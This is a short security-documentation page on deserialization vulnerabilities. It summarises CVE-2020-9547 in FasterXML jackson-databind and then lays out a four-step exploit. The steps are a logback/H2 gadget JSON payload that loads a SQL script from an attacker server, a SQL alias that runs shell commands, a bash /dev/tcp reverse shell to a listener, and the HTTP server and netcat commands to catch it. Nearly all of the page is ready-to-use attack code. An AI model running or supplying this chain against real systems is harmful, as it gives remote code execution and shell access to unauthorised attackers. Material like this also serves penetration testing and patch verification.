> For the complete documentation index, see [llms.txt](https://gitbook.seguranca-informatica.pt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.seguranca-informatica.pt/cve-and-exploits/serialization.md).

# Serialization

## **Linux**

[**CVE-2020-9547**](https://nvd.nist.gov/vuln/detail/CVE-2020-9547)**:** FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap).

![](/files/-MXHGqua1tknuebaSN-5)

{% embed url="<https://github.com/jas502n/CVE-2019-12384>" %}

```
1. Payload:
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPTFROM'http://10.10.xx.xx:443/sql.sql'"}]

2. Create file sql.sql with the target command
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i &>/dev/tcp/10.10.xxx.xxx/4444 0>&1 &')

3. python -m SimpleHTTPServer 443

4. nc -lvp 4444
```

Reference: <https://www.sangfor.com/en/info-center/blog-center/cyber-security/FasterXML-Jackson-databind-Remote-Code-Execution-CVE-2020-9547>